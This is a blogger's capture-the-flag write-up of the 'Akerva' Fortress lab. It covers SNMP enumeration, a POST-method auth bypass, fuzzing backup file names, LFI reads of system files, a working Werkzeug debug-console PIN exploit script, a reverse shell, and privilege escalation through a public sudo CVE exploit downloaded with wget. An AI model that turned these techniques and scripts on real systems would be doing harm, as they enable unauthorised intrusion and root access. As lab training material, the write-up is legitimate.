Posts Fortress Akerva writeup
Post
Cancel

Fortress Akerva writeup

Introduction@Akerva:~$

ColumnDetails
NameAkerva
IP10.13.37.11
CategoryFortress
OsLinux
Creatorhttps://akerva.com/
DifficultyMedium

Brief@akerva:~$

Enumerating snmp using snmpwalk or metasploit , Got some queries and a bash-script which is forbidden for us but changing the request method we can read the script , The script is creating a backup of website in every 17 min with the name backup_timestamp . Fuzzing the file using wfuzz i got the zip file , Enumerating the files got some creds using them i logged in myself to port 5000 and then exploiting the Werkzeug got a pin.Got reverse shell using the Python-interactive-web-Console . Exploiting the sudo as the version that is installed has a public exploit available. Got root shell

Summary :~$

  • view-page source on initial webpage
  • #1 flag - Plain Sight
  • Scanning for udp-ports and got snmp protocol running
  • Using snmpwalk or metasploit enumerating snmp protocol
  • #2 Flag - Take a Look Around
  • Got a file called backup_every_17minutes.sh which is initially forbidden
  • Changing the request-method and we can read the file
  • #3 Flag - Dead Poets
  • The Script is backing up the website to a zip file
  • The name of zip file is backup_timestamp
  • Fuzzing the timestamp and got the backup zip file
  • Enumerating files and dirs got a python script which contains creds
  • #4 Flag - Now You See Me
  • Login to port 5000
  • Reading the python script and got a new file which is opening a file by a parameter filename
  • Confirming the LFI and reading some sensitive files
  • #5 Flag- Open Book
  • Got the python-interactive-console which is protected by a pin
  • Exploiting the Werkzeug and getting the pin for console
  • Running commands in Console and got rev shell as aas
  • #6 Flag - say Friend and Enter
  • The sudo version that is installed is vulnerable to public exploit.
  • Compiling the c file and running it on the machine
  • Got shell as root
  • #7 Flag - Super Mushroom
  • Got secure_note.md which contains a b64 string
  • Decoding it as vigenere cipher by plain text attack
  • #8 Flag - Little Secret

Pwned

Recon

Nmap - Tcp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
➜  akerva nmap -sV -sC -oA scans/nmap.full -p- -T4 -v akerva.htb
# Nmap 7.80 scan initiated Thu Jun 18 00:26:27 2020 as: nmap -sV -sC -oA scans/nmap.full -p- -T4 -v akerva.htb
Nmap scan report for akerva.htb (10.13.37.11)
Host is up (0.45s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 0d:e4:41:fd:9f:a9:07:4d:25:b4:bd:5d:26:cc:4f:da (RSA)
|   256 f7:65:51:e0:39:37:2c:81:7f:b5:55:bd:63:9c:82:b5 (ECDSA)
|_  256 28:61:d3:5a:b9:39:f2:5b:d7:10:5a:67:ee:81:a8:5e (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Did not follow redirect to http://10.13.37.11/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
5000/tcp open  http    Werkzeug httpd 0.16.0 (Python 2.7.15+)
| http-auth: 
| HTTP/1.0 401 UNAUTHORIZED\x0D
|_  Basic realm=Authentication Required
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
|_http-server-header: Werkzeug/0.16.0 Python/2.7.15+
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 18 00:45:54 2020 -- 1 IP address (1 host up) scanned in 1166.81 seconds

Only 3 tcp ports are opened 2 of them are http

#1 - Flag

Port - 80

Port-80

Its just some basic site which is running with CMS wordpress

And simply just viewing-page source of the initial web page i got the first flag

#1-flag akerva fortress

So that was so quick and ezpz

#2 - Flag

There is onw more http port running/opened (5000)

Port-5000

It requires to be signed in …

I tried to bruteforce the login but that was just what i wished only

Now i just decided to scan for the udp ports so i can something better

Nmap - Udp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
➜  akerva nmap -sV -sU -oA scans/nmap.udp -T4 -v akerva.htb 
# Nmap 7.80 scan initiated Thu Jun 18 00:25:39 2020 as: nmap -sV -sU -oA scans/nmap.udp -T4 -v akerva.htb
Increasing send delay for 10.13.37.11 from 0 to 50 due to 11 out of 17 dropped probes since last increase.
Warning: 10.13.37.11 giving up on port because retransmission cap hit (6).
Increasing send delay for 10.13.37.11 from 200 to 400 due to 11 out of 14 dropped probes since last increase.
Increasing send delay for 10.13.37.11 from 400 to 800 due to 11 out of 23 dropped probes since last increase.
Nmap scan report for akerva.htb (10.13.37.11)
Host is up (0.34s latency).
Not shown: 994 closed ports
PORT      STATE         SERVICE      VERSION
161/udp   open          snmp         SNMPv1 server; net-snmp SNMPv3 server (public)
1718/udp  open|filtered h225gatedisc
16948/udp open|filtered unknown
21847/udp open|filtered netspeak-cs
49156/udp open|filtered unknown
60172/udp open|filtered unknown
Service Info: Host: Leakage

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 18 00:44:22 2020 -- 1 IP address (1 host up) scanned in 1122.65 seconds

As i thought the snmp port is opened and its running on the SNMPv1 and we actually can enumerate on the snmp , I used snmpwalk and metasploit both for enumerating the snmp

snmpwalk

1
2
3
4
5
6
➜  prashant perl /usr/share/doc/libnet-snmp-perl/examples/snmpwalk.pl -v 1 -c public 10.13.37.11

1.3.6.1.2.1.25.4.2.1.5.1221 = OCTET STRING: /opt/check_devSite.sh                                                      
1.3.6.1.2.1.25.4.2.1.5.1224 = OCTET STRING: /var/www/html/dev/space_dev.py                                                            
1.3.6.1.2.1.25.4.2.1.5.1225 = OCTET STRING: /var/www/html/scripts/backup_every_17minutes.sh AKERVA{#2 - Flag}     
1.3.6.1.2.1.25.4.2.1.5.1235 = OCTET STRING: /var/www/html/dev/space_dev.py 

Metasploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[*] Auxiliary module execution completed                                                                                                     
msf5 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.13.37.10  
msf5 auxiliary(scanner/snmp/snmp_enum) > run                                                              
[+] 10.13.37.11, Connected.           
[*] System information:                                             
Host IP                       : 10.13.37.11                                                                                        
Hostname                      : Leakage                                                                           
Description                   : Linux Leakage 4.15.0-72-generic #81-Ubuntu SMP Tue Nov 26 12:20:02 UTC 2019 x86_64                                                     
Contact                       : Me <me@example.org>: Sitting on the Dock of the Bay                                                                                                   
Uptime snmp                   : 05:39:02.95   
Uptime system                 : 05:38:42.23                                                     
System date                   : 2020-6-13 10:10:33.0

1236                runnable            backup_every_17     /bin/bash           /var/www/html/scripts/backup_every_17minutes.sh AKERVA{#2 - Flag}
1241                runnable            python              /usr/bin/python     /var/www/html/dev/space_dev.py
1243                runnable            uuidd               /usr/sbin/uuidd     --socket-activation 

I got some query of the output from metasploit and snmpwalk and the flag too

1
1.3.6.1.2.1.25.4.2.1.5.1225 = OCTET STRING: /var/www/html/scripts/backup_every_17minutes.sh AKERVA{#2 - Flag}     

#3 - Flag

I got two files here

  • /dev/space_dev.py
  • /scripts/backup_every_17minutes.sh

I need to verify if they do exist or not on website

backup_every_17minutes.sh

Oh…its also asking for username and password

backup-script

I just changed the request method to post , Sometime it just bypass these type of logins

Using Curl

Post request

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
➜  prashant curl -XPOST http://akerva.htb/scripts/backup_every_17minutes.sh
#!/bin/bash
#
# This script performs backups of production and development websites.
# Backups are done every 17 minutes.
#
# AKERVA{#3 - Flag}
#

SAVE_DIR=/var/www/html/backups

while true
do
	ARCHIVE_NAME=backup_$(date +%Y%m%d%H%M%S)
	echo "Erasing old backups..."
	rm -rf $SAVE_DIR/*

	echo "Backuping..."
	zip -r $SAVE_DIR/$ARCHIVE_NAME /var/www/html/*

	echo "Done..."
	sleep 1020
done

Using Burp-Suite

I captured the request on my burp and send it to repeater

Request

1
2
3
4
5
6
7
8
9
POST /scripts/backup_every_17minutes.sh HTTP/1.1
Host: akerva.htb
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,hi;q=0.8
Connection: close

Response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
HTTP/1.1 200 OK
Date: Thu, 18 Jun 2020 07:33:33 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Sat, 07 Dec 2019 01:02:50 GMT
ETag: "196-59912b8b37f2f"
Accept-Ranges: bytes
Content-Length: 406
Connection: close
Content-Type: text/x-sh

#!/bin/bash
#
# This script performs backups of production and development websites.
# Backups are done every 17 minutes.
#
# AKERVA{#3 - Flag}
#

SAVE_DIR=/var/www/html/backups

while true
do
	ARCHIVE_NAME=backup_$(date +%Y%m%d%H%M%S)
	echo "Erasing old backups..."
	rm -rf $SAVE_DIR/*

	echo "Backuping..."
	zip -r $SAVE_DIR/$ARCHIVE_NAME /var/www/html/*

	echo "Done..."
	sleep 1020
done

#4 - Flag

So i can read the flag as well as the whole backup script , So basically what the script is doing

  • Backing up the content of the website to a zip file
  • The zip file is saved as backup_timestamp and it repeats in every 17 min
  • SO the zip_file name is changing in every 1020 secs that is 17 min
  • The backup file is available on the website in backups dir

So as i know now that there is a file called backup_$timestamp on the website itself but since the file name is changing in every 17 mins so we actually dont know its name , We can simply get the current time of the machine by sending a GET request using curl.

1
2
3
4
5
6
7
8
➜  prashant curl -I http://akerva.htb
HTTP/1.1 301 Moved Permanently
Date: Thu, 18 Jun 2020 13:54:42 GMT
Server: Apache/2.4.29 (Ubuntu)
X-Pingback: http://10.13.37.11/xmlrpc.php
X-Redirect-By: WordPress
Location: http://10.13.37.11/
Content-Type: text/html; charset=UTF-8

The date header reveals the current date on the machine

1
Date: Thu, 18 Jun 2020 13:54:42 GMT

The file will be saved as

1
backup_$(date +%Y%m%d%H%M%S)

Suppose the time when the backup is started was 18 Jun 2020 13:00:00

The file will be saved as name

1
backup_202006180000.zip

Since i dont know on which exact minute and sec the backup is started i can FUZZ the time since it is all only about the mins and secs so i can simply FUZZ the Minutes and seconds.

Fuzzing the file

The wordlist that i am using is just 0000-9999 Since the minute and

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜  akerva wfuzz -u http://akerva.htb/backups/backup_2020061813FUZZ.zip -w 4-digits-0000-9999.txt --hc 404                   

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzzs documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://akerva.htb/backups/backup_2020061813FUZZ.zip
Total requests: 10000

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                                           
===================================================================

000005850:   200        82458    808129   20937179    "5849"  

Nice !! i can simple download the file now……

Just append 5849 and remove FUZZ

1
2
3
4
5
6
7
8
9
10
11
➜  akerva wget http://akerva.htb/backups/backup_20200618155849.zip
--2020-06-18 11:21:44--  http://akerva.htb/backups/backup_20200618155849.zip
Resolving akerva.htb (akerva.htb)... 10.13.37.11
Connecting to akerva.htb (akerva.htb)|10.13.37.11|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 22071775 (21M) [application/zip]
Saving to: ‘backup_20200618155849.zip’

backup_20200618155849.zip                            100%[=====================================================================================================================>]  21.05M  1.99MB/s    in 24s     

2020-06-18 11:22:09 (883 KB/s) - ‘backup_20200618155849.zip’ saved [22071775/22071775]

Its downloaded

Unziping the zip file

1
➜  akerva unzip backup_20200618135849.zip    

And it got unzipped , a new dir var is created in the dir where i am. and i can surf the dirs now

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
➜  html ls -la
total 232
drwxr-xr-x  8 root root  4096 Jun 18 11:23 .
drwxr-xr-x  3 root root  4096 Jun 18 11:23 ..
dr-xr-xrwx  2 root root  4096 Jun 13 07:21 backups
dr-xr-xr-x  2 root root  4096 Feb  8 12:32 dev
-rw-r--r--  1 root root   405 Feb  8 09:07 index.php
-rw-r--r--  1 root root 19935 Feb 10 10:56 license.txt
-rw-r--r--  1 root root  7278 Feb 10 10:56 readme.html
drwxr-xr-x  2 root root  4096 Feb  8 11:04 scripts
-rw-r--r--  1 root root  6912 Feb  8 08:15 wp-activate.php
drwxr-xr-x  9 root root  4096 Feb  8 08:15 wp-admin
-rw-r--r--  1 root root   351 Feb  8 08:15 wp-blog-header.php
-rw-r--r--  1 root root  2275 Feb  8 08:15 wp-comments-post.php
-rw-rw-rw-  1 root root  3244 Feb 10 12:14 wp-config.php
-rw-r--r--  1 root root  2913 Feb  8 08:15 wp-config-sample.php
drwxr-xr-x  6 root root  4096 Feb 10 11:18 wp-content
-rw-r--r--  1 root root  3940 Feb  8 08:15 wp-cron.php
drwxr-xr-x 21 root root 12288 Feb  8 08:15 wp-includes
-rw-r--r--  1 root root  2496 Feb  8 08:15 wp-links-opml.php
-rw-r--r--  1 root root  3300 Feb  8 08:15 wp-load.php
-rw-r--r--  1 root root 48437 Feb 10 10:56 wp-login.php
-rw-r--r--  1 root root  8501 Feb  8 08:15 wp-mail.php
-rw-r--r--  1 root root 18824 Feb  8 08:15 wp-settings.php
-rw-r--r--  1 root root 31111 Feb  8 08:15 wp-signup.php
-rw-r--r--  1 root root  4755 Feb  8 08:15 wp-trackback.php
-rw-r--r--  1 root root  3133 Feb  8 08:15 xmlrpc.php

So..there are many files inclusing the dev sir which was forbidden for me….

1
2
3
4
5
6
➜  dev ls -la
total 16
dr-xr-xr-x 2 root root 4096 Feb  8 12:32 .
drwxr-xr-x 8 root root 4096 Jun 18 11:23 ..
-r-xr-xr-x 1 root root   55 Feb  8 11:36 .htaccess
-r-xr-xr-x 1 root root 1015 Feb  8 12:32 space_dev.py

dev/space_dev.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python

from flask import Flask, request
from flask_httpauth import HTTPBasicAuth
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
auth = HTTPBasicAuth()

users = {
        "aas": generate_password_hash("AKERVA{#4 - Flag}")
        }

@auth.verify_password
def verify_password(username, password):
    if username in users:
        return check_password_hash(users.get(username), password)
    return False

@app.route('/')
@auth.login_required
def hello_world():
    return 'Hello, World!'

# TODO
@app.route('/download')
@auth.login_required
def download():
    return downloaded_file

@app.route("/file")
@auth.login_required
def file():
	filename = request.args.get('filename')
	try:
		with open(filename, 'r') as f:
			return f.read()
	except:
		return 'error'

if __name__ == '__main__':
    print(app)
    print(getattr(app, '__name__', getattr(app.__class__, '__name__')))
    app.run(host='0.0.0.0', port='5000', debug = True)

And we got the Flag here and it is also a password of something and username aas

#5 - Flag

I can confirm that the creds are working on the port 5000

Port-5000 login

So nothing is on initial page Beeter we fuzz it further….

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
prashant wfuzz -u http://10.13.37.11:5000/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzzs documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://10.13.37.11:5000/FUZZ
Total requests: 220560

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                                           
===================================================================
                                                                                             
000000014:   401        0 L      2 W      19 Ch       ""                                                                            
000000017:   401        0 L      2 W      19 Ch       "download"                                                                                          
000000759:   401        0 L      2 W      19 Ch       "file"                                                                                                
000003644:   200        52 L     186 W    1985 Ch     "console"                             

Got some Cool things from here i just need to look into these

download

Download-console

There is a python interactive shell

And filled with some kinds of errors…..

There is a mention of the file we got from the dev dir from that backup file

1
File "/var/www/html/dev/space_dev.py", line 29, in download

Download-console

And if i look at the file we have , I can see that the same kind of code that is being used on the website

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# TODO
@app.route('/download')
@auth.login_required
def download():
    return downloaded_file

@app.route("/file")
@auth.login_required
def file():
	filename = request.args.get('filename')
	try:
		with open(filename, 'r') as f:
			return f.read()
	except:
		return 'error'

if __name__ == '__main__':
    print(app)
    print(getattr(app, '__name__', getattr(app.__class__, '__name__')))
    app.run(host='0.0.0.0', port='5000', debug = True)

And there we can see its opening a new file called file

1
@app.route("/file")

And the file has a parameter called filename which is opening a new file as shown in code in read mode and the whatever we specify in ?filename= its going to read that file if the file doesnt exist or it cant read it , it will show error. Simple

1
filename = request.args.get('filename')

LFi

The situation is same as lfi since we can read a file I can confirm the lfi by reading a sensitive file /etc/passwd

/etc/passwd

Download-console

There is a user in home dir called aas

flag.txt

I can simply guess that there could be a flag simply guessed it as flag.txt

flag.txt

I tried to get the private-ssh keys since ssh port is opened but no…its doesnt exist or we are not have right perms

id_rsa.txt

#6 - Flag

There is one more thing i got from the wfuzz after fuzzing the initial dir and that is /console

there is an interactve console but protected by pin

console

I quick google search about the Python Console Pin

https://werkzeug.palletsprojects.com/en/1.0.x/debug/

This just show me that the pin is enabled by werkzeug , its a dependency that is being used to protect the interactive-console with a pin

There is a public exploit available on web for this pin functionality

https://www.daehee.com/werkzeug-console-pin-exploit/

Its the python code that is given to get the pin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import hashlib
from itertools import chain
probably_public_bits = [
	'web3_user',# username
	'flask.app',# modname
	'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
	'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
	'279275995014060',# str(uuid.getnode()),  /sys/class/net/ens33/address
	'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
	if not bit:
		continue
	if isinstance(bit, str):
		bit = bit.encode('utf-8')
	h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
	h.update(b'pinsalt')
	num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
	for group_size in 5, 4, 3:
		if len(num) % group_size == 0:
			rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
						  for x in range(0, len(num), group_size))
			break
	else:
		rv = num

print(rv)

I will be needed to change the code to some extent….

  • User - aas
  • /sys/class/net/ens33/address
  • /etc/machine-id

Since i have a lfi working so i can simply get the Mac-address and the machine-id

/etc/machine-id

console

1
258f132cd7e647caaf5510e3aca997c1

/sys/class/net/ens33/address

console

1
00:50:56:b9:b1:29

So now i need to convert the mac-address into the decimat according to the article

I can use python for this thing

1
2
3
4
5
6
7
  akerva python
Python 2.7.18 (default, Apr 20 2020, 20:30:41) 
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print(0x5056b9b129)
345052393769
>>> 

And one more thing in the article the owner used python 3 in the script but in the box python 2.7 is being used we can see that on the /download

console

and now my full-python script will be

crack-pin.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import hashlib
from itertools import chain
probably_public_bits = [
        'aas',# username
        'flask.app',# modname
        'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]

private_bits = [
        '345052382265', # str(uuid.getnode()),  /sys/class/net/ens33/address
        '258f132cd7e647caaf5510e3aca997c1' # get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
        if not bit:
                continue
        if isinstance(bit, str):
                bit = bit.encode('utf-8')
        h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
        for group_size in 5, 4, 3:
                if len(num) % group_size == 0:
                        rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                                                  for x in range(0, len(num), group_size))
                        break
        else:
                rv = num

print(rv)

Running script

1
2
➜  console-exploit python exploit.py                                            
280-459-859

And after entering the pin i am in the interactive-console

console

shell as aas

Since i can run any python code from here now… It i will be better if i just spawn a rev shell

console

as soon as i run that code i got reverse shell on my netcat listener

1
2
3
4
5
6
7
8
➜  akerva rlwrap nc -nlvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.13.37.11.
Ncat: Connection from 10.13.37.11:42172.
/bin/sh: 0: can't access tty; job control turned off
$

And if i do a ls with -a i can see a hidden file or a hidden flag

1
2
3
4
5
6
7
8
9
10
$ ls -la
total 28
drwxr-xr-x 3 aas  aas  4096 Feb  9 01:42 .
drwxr-xr-x 3 root root 4096 Feb  9 01:39 ..
-rw------- 1 root root    0 Dec  7  2019 .bash_history
-rw-r--r-- 1 aas  aas   220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 aas  aas  3771 Apr  4  2018 .bashrc
-r-------- 1 aas  aas    21 Feb  9 01:17 flag.txt
-rw-r--r-- 1 root root   38 Feb  9 01:22 .hiddenflag.txt
dr-xr-x--- 2 aas  aas  4096 Feb 10 10:49 .ssh
1
2
$ cat .hiddenflag.txt
AKERVA{#6 - Flag}

#7 - Flag

After some enum when i didnt find anything…I just did a sudo --version and found what i need further

1
2
3
4
5
$ sudo --version
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2

And found a poc on github for this version

https://github.com/saleemrashid/sudo-cve-2019-18634/

I need to compile that exploit.c and send it to the target machine and run it

Compiling

1
2
➜  sudo-cve-2019-18634 git:(master) ✗ gcc -o sudo exploit.c
➜  sudo-cve-2019-18634 git:(master)

Now send it to machine via wget and python server

Uploading

1
2
3
4
5
6
7
8
9
10
11
12
$ wget http://10.13.14.7/sudo
--2020-06-19 09:28:53--  http://10.13.14.7/sudo
Connecting to 10.13.14.7:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17480 (17K) [application/octet-stream]
Saving to: ‘sudo’

     0K .......... .......                                    100% 49.4K=0.3s

2020-06-19 09:28:55 (49.4 KB/s) - ‘sudo’ saved [17480/17480]

$
1
2
3
➜  sudo-cve-2019-18634 git:(master) ✗ python -m SimpleHTTPServer 80    
Serving HTTP on 0.0.0.0 port 80 ...
10.13.37.11 - - [19/Jun/2020 05:11:32] "GET /sudo HTTP/1.1" 

Now just need to run it..nothing else

1
2
3
4
5
6
7
8
$ chmod +x sudo
$ ./sudo
[sudo] password for aas: 
Harm can come to a young lad like that!
whoami
root
python -c "import pty;pty.spawn('/bin/bash')"
root@Leakage:/tmp# 

And we pwned it….time for 7th flag

1
2
3
root@Leakage:/root# cat flag.txt
cat flag.txt
AKERVA{#7 - Flag}

#8 -Flag

I got a secured_note.md here

secured_note.md

1
2
3
4
5
R09BSEdIRUVHU0FFRUhBQ0VHVUxSRVBFRUVDRU9LTUtFUkZTRVNGUkxLRVJVS1RTVlBNU1NOSFNL
UkZGQUdJQVBWRVRDTk1ETFZGSERBT0dGTEFGR1NLRVVMTVZPT1dXQ0FIQ1JGVlZOVkhWQ01TWUVM
U1BNSUhITU9EQVVLSEUK

@AKERVA_FR | @lydericlefebvre

Its a base64 text

Deconding b64

1
2
3
4
➜  akerva echo "R09BSEdIRUVHU0FFRUhBQ0VHVUxSRVBFRUVDRU9LTUtFUkZTRVNGUkxLRVJVS1RTVlBNU1NOSFNL
UkZGQUdJQVBWRVRDTk1ETFZGSERBT0dGTEFGR1NLRVVMTVZPT1dXQ0FIQ1JGVlZOVkhWQ01TWUVM
U1BNSUhITU9EQVVLSEUK" | base64 -d
GOAHGHEEGSAEEHACEGULREPEEECEOKMKERFSESFRLKERUKTSVPMSSNHSKRFFAGIAPVETCNMDLVFHDAOGFLAFGSKEULMVOOWWCAHCRFVVNVHVCMSYELSPMIHHMODAUKHE

Vigenere cipher

Its been decoded and the result text is vigenere cipher

vigenere

So i know what the cipher is now

i will be using the Plain text method to decode the cipher , in this thing i will be needed a plain-text value from the encoded string

As i know that there will be a flag in this string and the flag format is AKERVA{flag} so i can simply guess that the plaintext value that is present in the string is AKERVA

Decoding

vigenere

But lol…i cant even understand anything

Than i thought that is there all the 26 alphabets present in it or not ?

I made a python script to check what chars are missing from the string

1
2
3
4
5
6
7
8
9
10
11
import string
def check(char):
	s = "GOAHGHEEGSAEEHACEGULREPEEECEOKMKERFSESFRLKERUKTSVPMSSNHSKRFFAGIAPVETCNMDLVFHDAOGFLAFGSKEULMVOOWWCAHCRFVVNVHVCMSYELSPMIHHMODAUKHE" 
	if(char.upper() in s):
		pass
	else:
		print char.upper()

alphabets = "abcdefghijklmnopqrstuvwxyz"
for c in alphabets:
	check(c)

Running script

1
2
3
4
5
6
➜  akerva python check.py
B
J
Q
X
Z

And as i thought that some chars are missing and yes they are

The aphabet order will be now

1
ACDEFGHIKLMNOPRSTUVWY

Now decoding again with these alphabets

vigenere

And now this time i got the key as ILOVESPACE

And the string that got decoded , i can read it very simply

1
WELLRONEFORSOLLINGTHISCHOLLENGEYOUPANSENDYOUGRESUMEHERSATRECRUTECENTAKERVAPOMANDVALIRATETHELASIFLAGWITHAKERVAIKNOOEWVIGEEENEGRRE

and if we read carefully the flag is infront of us

1
AKERVAIKNOOEWVIGEEENEGRRE

And thats how i completed this fortress

Donations

If u like My Content.Support a Poor Student who is collecting money to Get the OSCP-Cert Donation for OSCP

If you want to get notified as soon as i upload something new to my blog So just click on the bell icon you are seeing on the right side – > and allow push notification

Resources

This post is licensed under CC BY 4.0 by the author.

© 2020 Prashant Saini.